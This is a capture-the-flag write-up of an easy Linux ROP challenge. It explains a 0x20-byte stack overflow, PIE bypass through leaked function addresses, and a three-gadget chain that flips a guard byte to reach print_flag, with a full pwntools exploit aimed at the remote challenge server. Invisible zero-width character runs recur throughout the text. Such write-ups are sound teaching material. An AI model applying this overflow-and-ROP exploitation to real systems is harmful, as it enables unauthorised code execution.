← Back to Writeups
CUSTOMEasypwn

Easy ROP

XESXOR9/2/20264 min read
#pwn#custom#easy#global_byte_write#pie_bypass_via_runtime_leaks#ret2win#rop_register_control#linux

Easy ROP

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: global_byte_write, pie_bypass_via_runtime_leaks, ret2win, rop_register_control

Summary

Task: a 64-bit PIE binary leaks code addresses and then overflows a 0x20-byte stack buffer with fgets(..., 0x4c, ...), while print_flag() is guarded by a global byte. Solution: use the leaks to bypass PIE, set rax=1 with a ROP gadget, write al into is_print_flag, and then call print_flag to print the remote flag.

Easy ROP — hackerlab

Description

Лёгкий ROP

Забери флаг через ROP 😎

This challenge is a small 64-bit Linux pwn task built around a straightforward stack overflow and a minimal ROP chain. The binary does not let us call print_flag() directly unless we first flip a global guard variable.

Challenge Summary

  • Architecture: ELF 64-bit, amd64, PIE, dynamically linked, not stripped
  • Mitigations: Full RELRO, NX, no canary, SHSTK, IBT
  • Useful symbols: main, print_flag, is_print_flag
  • Runtime behavior: main leaks the addresses of f1, f2, and print_flag, then reads attacker input into an undersized stack buffer ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The goal is to use the leaks to bypass PIE, build a short ROP chain, set is_print_flag = 1, and then jump into print_flag().

Reconnaissance

Static recon quickly shows that the binary is meant to be solved with the gadgets it already exposes:

  • a helpful string says we can control rax and is_print_flag through the gadget path
  • print_flag() checks whether global is_print_flag == 1
  • if the check passes, it reads FLAG from the environment with getenv("FLAG") and prints it

Radare2 analysis identified the two relevant code paths: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • f1 contains a pop rax ; ret gadget at offset 0x1248
  • f2 preloads rbx with the address of is_print_flag and reaches a mov byte [rbx], al ; ret sequence

So the challenge is not about finding a long ROP chain. It is about using the intended gadgets in the correct order.

Vulnerability Analysis

The bug is in main:

  • the stack buffer is only 0x20 bytes
  • input is read with fgets(..., 0x4c, ...)

That gives a classic stack overflow. The effective offset to saved RIP is 40 bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PIE would normally block hardcoded gadget addresses, but main prints the runtime addresses of:

  • f1
  • f2
  • print_flag

These leaks completely remove the PIE problem. We can reuse the leaked function addresses directly in the payload.

Exploitation Strategy

The target function is print_flag(), but it only prints the flag if is_print_flag == 1.

The intended chain is:

text
[padding to RIP]
[f1]
[1]
[f2]
[print_flag]

Logic:

  1. Return into f1 to execute pop rax ; ret
  2. Pop the value 1 into rax
  3. Return into f2, which eventually performs mov byte [rbx], al ; ret
  4. Since rbx is prepared inside f2 to point to is_print_flag, this writes 1 into the global flag gate
  5. Return into print_flag()
  6. print_flag() sees is_print_flag == 1 and prints the environment flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Because only al is written, setting rax = 1 is sufficient.

Exploit Walkthrough

The exploit parses the leaks from the server banner, builds the payload, sends it, and extracts the returned flag.

The final remote target was:

text
62.173.140.174:27700

Local execution was not validated on the host because Docker failed with no space left on device, and the macOS environment could not run the Linux amd64 ELF directly. That limitation does not affect the final result, because the exploit was successfully validated against the real remote service. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
import os
import re


context.arch = "amd64"
context.log_level = os.environ.get("PWNLVL", "info")

HOST = "62.173.140.174"
PORT = 27700
OFFSET = 40
HOST_DIR = os.path.dirname(os.path.abspath(__file__))
LEAK_RE = {
    "f1": rb"f1 = (0x[0-9a-fA-F]+)",
    "f2": rb"f2 = (0x[0-9a-fA-F]+)",
    "print_flag": rb"print_flag = (0x[0-9a-fA-F]+)",
}


def start():
    if args.LOCAL:
        local_flag = os.environ.get("FLAG", "CODEBY{local_test_flag}")
        return process(
            [
                "docker",
                "run",
                "--rm",
                "-i",
                "--platform",
                "linux/amd64",
                "-e",
                f"FLAG={local_flag}",
                "-v",
                f"{HOST_DIR}:/work",
                "-w",
                "/work",
                "ubuntu:22.04",
                "./task",
            ]
        )
    return remote(HOST, PORT)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def parse_leaks(data: bytes):
    leaks = {}
    for name, pattern in LEAK_RE.items():
        m = re.search(pattern, data)
        if not m:
            raise ValueError(
                f"Leak {name} not found in output:\n{data.decode(errors='ignore')}"
            )
        leaks[name] = int(m.group(1), 16)
    return leaks


def build_payload(leaks):
    payload = b"0" + b"A" * (OFFSET - 1)
    payload += flat(
        leaks["f1"],
        1,
        leaks["f2"],
        leaks["print_flag"],
    )
    return payload
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def solve():
    io = start()
    banner = io.recvuntil(b"Enter your number: ")
    leaks = parse_leaks(banner)

    log.info(f"f1/pop rax ret = {leaks['f1']:#x}")
    log.info(f"f2/write al gadget = {leaks['f2']:#x}")
    log.info(f"print_flag = {leaks['print_flag']:#x}")

    payload = build_payload(leaks)
    io.sendline(payload)
    out = io.recvall(timeout=3)
    data = banner + out
    print(data.decode(errors="ignore"))

    m = re.search(rb"CODEBY\{[^\r\n]+\}", data)
    if m:
        log.success(f"Flag: {m.group().decode()}")
    else:
        log.warning("Flag pattern not found in output")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == "__main__":
    solve()

Final Flag

text
CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍